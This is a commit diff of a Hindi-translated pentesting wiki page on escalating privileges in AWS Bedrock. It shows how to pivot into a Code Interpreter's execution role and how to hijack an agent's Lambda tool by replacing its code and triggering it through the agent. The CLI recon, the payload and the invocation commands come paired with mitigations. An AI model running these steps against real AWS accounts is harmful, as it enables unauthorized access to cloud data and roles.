Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-04-21 08:20:56 +00:00
parent b580d344d1
commit 61baa4f133

View File

@@ -6,32 +6,32 @@
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter एक managed execution environment है। **Custom Code Interpreters** को एक **`executionRoleArn`** के साथ configure किया जा सकता है जो "कोड इंटरप्रेटर को AWS सेवाओं तक पहुँच के लिए permissions प्रदान करता है"
AgentCore Code Interpreter एक managed execution environment है। **Custom Code Interpreters** को एक **`executionRoleArn`** के साथ configure किया जा सकता है, जो “code interpreter को AWS services access करने के लिए permissions प्रदान करता है
यदि कोई **lower-privileged IAM principal** किसी ऐसे Code Interpreter session को **start + invoke** कर सके जो कि किसी **more privileged execution role** के साथ configured है, तो caller प्रभावी रूप से **execution roles permissions में pivot** कर सकता है (lateral movement / privilege escalation, role scope पर निर्भर करता है)।
अगर कोई **lower-privileged IAM principal** किसी ऐसे Code Interpreter session को **start + invoke** कर सकता है जो **more privileged execution role** के साथ configured है, तो caller effectively **execution role की permissions में pivot** कर सकता है (role scope के अनुसार lateral movement / privilege escalation)।
> [!NOTE]
> यह आमतौर पर एक **misconfiguration / excessive permissions** समस्या होत है (interpreter execution role को व्यापक permissions देने या invoke access को व्यापक रूप से देने के कारण)।
> AWS स्पष्ट रूप से चेतावनी देता है कि privilege escalation से बचने के लिए execution roles के पास उन identities की तुलना में **equal or fewer** privileges होने चाहिए जिन्हें invoke करने की अनुमति है।
> यह आमतौर पर **misconfiguration / excessive permissions** issue होत है (interpreter execution role को बहुत wide permissions देना और/या broad invoke access देना)।
> AWS स्पष्ट रूप से warning देता है कि privilege escalation से बचने के लिए सुनिश्चित करें कि execution roles के पास उन identities की तुलना में **equal या fewer** privileges हो जिन्हें invoke करने की अनुमति है।
#### Preconditions (common misconfiguration)
- एक **custom code interpreter** मौजूद है जिसको एक over-privileged **execution role** दिया गया है (उदा: sensitive S3/Secrets/SSM या IAM-admin-like क्षमताओं तक access)।
- क user (developer/auditor/CI identity) के पास permissions हैं:
- sessions शुरू करने के लिए: `bedrock-agentcore:StartCodeInterpreterSession`
- tools invoke करने के लिए: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) वह user interpreters भी बना सकता है: `bedrock-agentcore:CreateCodeInterpreter` (जिससे वे org guardrails पर निर्भर करते हुए एक नया interpreter बना सकते हैं जिसे execution role के साथ configured किया गया हो)।
- एक **custom code interpreter** मौजूद है जिसके पास over-privileged **execution role** है (जैसे sensitive S3/Secrets/SSM या IAM-admin-like capabilities तक access)।
-िसी user (developer/auditor/CI identity) के पास यह करने की permissions हैं:
- sessions start करना: `bedrock-agentcore:StartCodeInterpreterSession`
- tools invoke करन: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) user interpreters भी create कर सकता है: `bedrock-agentcore:CreateCodeInterpreter` (ससे वे org guardrails के अनुसार execution role के साथ configured या interpreter बना सकते हैं)।
#### Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
Interpreters (control-plane) की list बनाएं और उनकी configuration inspect करें:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> create-code-interpreter कमांड `--execution-role-arn` को सपोर्ट करता है, जो परिभाषित करता है कि interpreter के पास कौन से AWS permissions होंग
```
> create-code-interpreter कमांड `--execution-role-arn` को सपोर्ट करता है जो यह परिभाषित करता है कि interpreter के पास कौन-सी AWS permissions होंग
#### Step 1 - एक सत्र शुरू करें (यह `sessionId` लौटाता है, interactive shell नहीं)
#### चरण 1 - एक session शुरू करें (यह एक `sessionId` लौटाता है, interactive shell नहीं)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
echo "SessionId: $SESSION_ID"
```
#### चरण 2 - कोड निष्पादन को Invoke करें (Boto3 या signed HTTPS)
#### चरण 2 - Invoke code execution (Boto3 or signed HTTPS)
`start-code-interpreter-session` से **कोई इंटरैक्टिव Python shell उपलब्ध नहीं** है। निष्पादन **InvokeCodeInterpreter** के माध्यम से होता है।
`start-code-interpreter-session` से **कोई interactive python shell** नहीं मिलता। Execution **InvokeCodeInterpreter** के जरिए होता है।
**विकल्प A - Boto3 उदाहरण (Python चलाएँ + पहचान सत्यापित करें):**
**Option A - Boto3 example (execute Python + verify identity):**
```python
import boto3
@@ -68,9 +68,9 @@ arguments={
for event in resp.get("stream", []):
print(event)
```
यदि इंटरप्रेटर को execution role के साथ कॉन्फ़िगर किया गया है, तो `sts:GetCallerIdentity()` आउटपुट उस role की identity को दर्शाना चाहिए (not the low-priv caller), जो pivot को प्रदर्शित करता है।
यदि interpreter को एक execution role के साथ configured किया गया है, तो `sts:GetCallerIdentity()` का output उस role की identity को reflect करना चाहिए (low-priv caller की नहीं), जिससे pivot साबित होता है।
**Option B - साइन किए गए HTTPS कॉल (awscurl):**
**Option B - Signed HTTPS call (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -87,18 +87,86 @@ awscurl -X POST \
}
}'
```
#### Impact
* **Lateral movement** into whatever AWS access the interpreter execution role has.
* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
#### Mitigations / Hardening
* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
## Amazon Bedrock Agents
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
Bedrock Agents **Lambda-backed action groups** को tools (external execution) के रूप में उपयोग कर सकते हैं। अगर कोई principal एक **agent द्वारा उपयोग की जाने वाली Lambda function के code को modify** कर सकता है, और फिर **agent को invoke** कर सकता है, तो वह **Lambda execution role** के तहत attacker-controlled code execute कर सकता है।
> [!NOTE]
> यह एक **cross-service trust abuse** (Bedrock → Lambda) है, vulnerability नहीं। attacker सीधे Lambda को invoke नहीं कर पाएगा, लेकिन फिर भी agent के जरिए इसे trigger कर सकता है।
#### Preconditions (common misconfiguration)
- एक Bedrock Agent मौजूद है जिसमें एक **action group backed by a Lambda function** है
- attacker के पास:
- `lambda:UpdateFunctionCode`
- `bedrock:InvokeAgent`
- Lambda execution role के पास attacker से ज़्यादा broader permissions हैं
- attacker agent द्वारा उपयोग की जाने वाली Lambda की पहचान कर सकता है
#### Recon
Enumerate agent action groups:
```bash
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
```
Lambda का निरीक्षण करें:
```bash
aws lambda get-function --function-name <FUNCTION_NAME>
```
#### Exploitation
Lambda code बदलें:
```bash
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
```
उदाहरण payload:
```python
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
```
ट्रिगर via agent:
```bash
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
```
#### प्रभाव
* **Lateral movement** उस किसी भी AWS एक्सेस में जो interpreter execution role के पास है।
* **Privilege escalation** अगर interpreter execution role caller से अधिक privileged हो।
* पता लगाना कठिन हो सकता है अगर CloudTrail data events for interpreter invocations सक्षम नहीं हैं (invocations डिफ़ॉल्ट रूप से लॉग नहीं हो सकते, विन्यास पर निर्भर करता है)।
* **Privilege escalation** into Lambda execution role
* AWS services से **Data exfiltration**
* trusted agent execution के माध्यम से **Cross-service abuse**
#### निवारण / हार्डनिंग
#### Mitigations
* **Least privilege** interpreter `executionRoleArn` पर लागू करें (इसे Lambda execution roles / CI roles की तरह मानें)।
* यह प्रतिबंधित करें कि कौन invoke कर सकता है (`bedrock-agentcore:InvokeCodeInterpreter`) और कौन session शुरू कर सकता है।
* अनुमोदित agent runtime roles को छोड़कर InvokeCodeInterpreter को deny करने के लिए **SCPs** का उपयोग करें (org-level enforcement आवश्यक हो सकता है)।
* जहाँ लागू हो, AgentCore के लिए उपयुक्त **CloudTrail data events** सक्षम करें; अनपेक्षित invocations और session creation पर अलर्ट सेट करें।
* `lambda:UpdateFunctionCode` को **Restrict** करें
* **least-privilege** Lambda roles का उपयोग करें
* Lambda code changes को **Monitor** करें
* Bedrock agent tool usage का **Audit** करें
## References
@@ -108,6 +176,7 @@ awscurl -X POST \
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
{{#include ../../../../banners/hacktricks-training.md}}